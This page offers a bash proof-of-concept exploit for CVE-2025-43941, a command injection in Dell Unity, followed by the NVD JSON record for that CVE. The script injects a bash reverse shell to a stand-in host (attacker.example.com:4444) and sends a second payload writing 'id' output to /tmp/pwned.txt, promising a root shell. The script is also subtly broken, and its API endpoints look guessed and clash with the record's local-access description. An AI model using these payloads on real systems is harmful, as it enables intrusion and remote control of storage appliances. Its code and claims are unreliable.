CVE-2025-43941

#!/bin/bash # CVE-2025-43941 PoC - Dell Unity OS Command Injection # Note: This PoC is for educational and authorized testing purposes only # Affected: Dell Unity <= 5.5 without valid license TARGET_HOST="target.dellunity.local" ATTACKER_IP="attacker.example.com" ATTACKER_PORT="4444" # Check if target is vulnerable (license not installed) echo "[*] Checking if license is not installed..." CHECK_CMD="curl -sk https://${TARGET_HOST}/api/license/status | grep -q 'no valid license'" # Construct malicious payload for OS command injection # Using reverse shell payload PAYLOAD="$(echo 'bash -i >& /dev/tcp/${ATTACKER_IP}/${ATTACKER_PORT} 0>&1')" # Exploit the command injection vulnerability echo "[*] Exploiting CVE-2025-43941..." EXPLOIT_CMD="curl -sk 'https://${TARGET_HOST}/api/system/ping' \ -d 'host=127.0.0.1;${PAYLOAD}' \ -H 'Content-Type: application/x-www-form-urlencoded'" echo "[*] Payload sent. Check your listener on port ${ATTACKER_PORT}" echo "[*] If successful, you should receive a root shell" # Alternative: Direct command execution ALT_PAYLOAD="id > /tmp/pwned.txt" echo "[*] Sending alternative payload for verification..." curl -sk "https://${TARGET_HOST}/api/system/diag" \ -d "cmd=ping;${ALT_PAYLOAD}" echo "[*] Check /tmp/pwned.txt on target for proof of execution"

{"cve": {"id": "CVE-2025-43941", "sourceIdentifier": "[email protected]", "published": "2025-10-30T14:15:43.247", "lastModified": "2025-11-03T19:58:33.730", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Dell Unity, version(s) 5.5 and Prior, contain(s) an Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection') vulnerability. A low privileged attacker with local access could potentially exploit this vulnerability to execute arbitrary command with root privileges. This vulnerability only affects systems without a valid license install."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H", "baseScore": 7.2, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.2, "impactScore": 5.9}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 7.8, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-78"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:dell:unity_operating_environment:*:*:*:*:*:*:*:*", "versionEndExcluding": "5.5.2.0", "matchCriteriaId": "77B81CED-E1D2-4A7B-A5BB-48E97319E93B"}]}]}], "references": [{"url": "https://www.dell.com/support/kbdoc/en-us/000385307/dsa-2025-379-security-update-for-dell-unity-dell-unityvsa-and-dell-unity-xt-security-update-for-multiple-vulnerabilities", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}